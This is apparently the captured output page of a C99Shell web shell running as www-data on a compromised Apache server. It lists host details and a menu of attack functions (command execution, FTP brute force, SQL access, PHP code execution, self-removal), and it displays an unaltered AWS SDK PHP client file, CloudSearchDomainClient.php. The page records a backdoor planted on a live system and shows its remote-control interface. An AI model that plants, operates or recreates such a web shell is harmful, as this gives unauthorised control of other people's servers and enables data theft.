!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/aws/aws-sdk-php/src/CloudSearchDomain/   drwxr-xr-x
Free 13.08 GB of 57.97 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CloudSearchDomainClient.php (2.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\CloudSearchDomain;

use 
Aws\AwsClient;
use 
Aws\CommandInterface;
use 
GuzzleHttp\Psr7\Uri;
use 
Psr\Http\Message\RequestInterface;
use 
GuzzleHttp\Psr7;

/**
 * This client is used to search and upload documents to an **Amazon CloudSearch** Domain.
 *
 * @method \Aws\Result search(array $args = [])
 * @method \GuzzleHttp\Promise\Promise searchAsync(array $args = [])
 * @method \Aws\Result suggest(array $args = [])
 * @method \GuzzleHttp\Promise\Promise suggestAsync(array $args = [])
 * @method \Aws\Result uploadDocuments(array $args = [])
 * @method \GuzzleHttp\Promise\Promise uploadDocumentsAsync(array $args = [])
 */
class CloudSearchDomainClient extends AwsClient
{
    public function 
__construct(array $args)
    {
        
parent::__construct($args);
        
$list $this->getHandlerList();
        
$list->appendBuild($this->searchByPost(), 'cloudsearchdomain.search_by_POST');
    }

    public static function 
getArguments()
    {
        
$args parent::getArguments();
        
$args['endpoint']['required'] = true;
        
$args['region']['default'] = function (array $args) {
            
// Determine the region from the provided endpoint.
            // (e.g. http://search-blah.{region}.cloudsearch.amazonaws.com)
            
return explode('.', new Uri($args['endpoint']))[1];
        };

        return 
$args;
    }

    
/**
     * Use POST for search command
     *
     * Useful when query string is too long
     */
    
private function searchByPost()
    {
        return static function (callable 
$handler) {
            return function (
                
CommandInterface $c,
                
RequestInterface $r null
            
) use ($handler) {
                if (
$c->getName() !== 'Search') {
                    return 
$handler($c$r);
                }
                return 
$handler($cself::convertGetToPost($r));
            };
        };
    }

    
/**
     * Converts default GET request to a POST request
     *
     * Avoiding length restriction in query
     *
     * @param RequestInterface $r GET request to be converted
     * @return RequestInterface $req converted POST request
     */
    
public static function convertGetToPost(RequestInterface $r)
    {
        if (
$r->getMethod() === 'POST') {
            return 
$r;
        }

        
$query $r->getUri()->getQuery();
        
$req $r->withMethod('POST')
            ->
withBody(Psr7\Utils::streamFor($query))
            ->
withHeader('Content-Length'strlen($query))
            ->
withHeader('Content-Type''application/x-www-form-urlencoded')
            ->
withUri($r->getUri()->withQuery(''));
        return 
$req;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0076 ]--